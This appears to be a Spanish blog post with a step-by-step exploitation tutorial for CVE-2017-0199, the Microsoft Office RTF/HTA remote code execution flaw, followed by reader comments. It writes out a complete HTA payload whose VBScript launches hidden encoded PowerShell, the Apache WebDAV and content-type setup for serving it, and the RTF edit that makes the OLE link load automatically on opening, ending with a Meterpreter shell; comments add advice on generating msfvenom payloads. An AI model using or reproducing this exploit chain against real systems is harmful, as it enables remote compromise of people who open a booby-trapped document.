Explotación práctica de CVE-2017-0199 (Windows RTF RCE)

Red teams, juakers y demás fauna están enviando masivamente documentos maliciosos que explotan la vulnerabilidad CVE-2017-0199 y luego usan MS17-010 para pivotar a través de dominios internos, literalmente están lloviendo shells…

Si recordáis, la vulnerabilidad etiquetada como CVE-2017-0199 nació como un 0-day que explotaba las últimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la República de Donestk y que comprometía el PC de la víctima con sólo abrirlo (permitía RCE). Luego se usó también para instalar malware como Latentbot y en campañas del troyano bancario Dridex, aunque hasta ahora no había mucho detalle del exploit.

Y digo hasta ahora porque en varios sitios están reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como decía al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones “hasta la cocina”.

Uno de los más "didácticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:

- Modificar el código fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar automáticamente el objeto OLE

Echémosle un vistazo a cómo llevarlo a cabo paso a paso:

Paso 1

Prepara un archivo HTA: (el archivo HTA es una aplicación HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html xmlns="hxxp://www.w3.org/1999/xhtml"> 

  <head> 

    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
    <title>Bonjour
    </title> 

    <script language="VBScript"> 
      Set owFrClN0giJ = CreateObject("Wscript.Shell") 
      Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject") 
      If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then 

      owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL" 
      End If

    </script> 
    <hta:application 

                     id="oHTA" 
                     applicationname="Bonjour" 
                     application="yes" 
                     > 

    </hta:application> 
  </head> 
  <div> 

    <object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%"> 

    </object>
  </div>   
  <body> 
  </body> 
</html>

Paso 2

Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase “This is my official and legit content”)

Llámalo "ms.rtf"

Paso 3

Sube los 2 archivos a un servidor web en el que tengas control total.
Normalmente en /var/www/html

Ahora tenemos que configurar Apache para poder incluir el ms.rtf como un enlace
 a2enmod dav  
 a2enmod dav_fs 
 a2enmod dav_lock 
 a2enmod headers 
 service apache2 restart 

Luego las siguientes directivas:

- Añadir "Content-Type application/rtf a todos los archivos en /ms
- Permitir la petición PROPFIND realizada por Microsoft Office

Modifica virtualhost e incluye:
 <Directory /var/www/html/ms/> 
 Header set Content-Type "application/rtf" 
 </Directory> 
 <Directory /> 
 Dav on 
 </Directory> 

service apache2 restart

Paso 4

Crea un simple documento RTF con Winword "exploit.rtf" ¡Ese será el exploit!

Insertar -> Objeto


Después de hacer clic en Aceptar, verás el contenido del archivo "ms.rtf" con el texto,

Guarda el archivo como "exploit.rtf"



En este paso podemos cerrar Winword y pasar a la siguiente fase para cambiar el contenido de ms.rtf con el payload de HTA ...

Paso 5

El siguiente paso será:
- cambiar el ms.rtf que hemos incluido con el payload personalizado de HTA
- El servidor web enviará un tipo de contenido "application/hta" ... esto será interpretado por el cliente Winword que ejecutará mshta para manejar este tipo de contenido y ejecutar el payload

 cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf  

 vi /etc/apache2/sites-enables/000-default 

 Cambia -> application/rtf a application/hta 

 como: 

 <Directory /var/www/html/ms/> 
 Header set Content-Type "application/hta" 
 </Directory> 

 service apache2 restart 

Paso 6

En este paso, si el usuario abre el archivo "exploit.rtf", tendrá que hacer doble clic en el objeto del enlace para lanzar el ataque ...

Si queremos que el objeto OLE se cargue automáticamente en la apertura del documento tenemos que editar el archivo exploit.rtf y cambiar:

\object\objautlink\rsltpict\objw9073\objh509(\*\
a
\object\objautlink\objupdate\rsltpict……………………..

En este paso se construye el exploit.

Explotación:

Una vez que el usuario abre el documento el objeto OLE se actualiza a través del enlace y mshta se ejecuta gracias al tipo de contenido application / hta entregado por el servidor
Resultado: se ejecuta el código!

Ya tenemos Meterpreter


No nos importa la advertencia ya que el código ya se ha ejecutado ...


Referencias:
- http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html
- https://github.com/bhdresh/CVE-2017-0199
- https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html
- https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
- https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/

3 comentarios :

  1. Me estoy volviendo loco. ¿En qué formato hay que sacar el payload para codificar en base64? ¡Llevo desde anoche probando y no soy capaz! :s

    ResponderEliminar
    Respuestas
    1. el payload más utilizado normalmente es un meterpreter generado con msfvenom. Si te quedas atascado usa el script en Python de https://github.com/bhdresh/CVE-2017-0199

      Eliminar
    2. Es lo que estoy intentando. Generando un meterpreter en formato exe, ps1, vbs... Todo me da un buffer enorme que no me entra entero como parámetro para powershell.exe una vez codificado en base64.
      Lo del script está muy bien, pero es muy lamer. Se aleja bastante del propósito de entender bien lo que estamos haciendo.

      Eliminar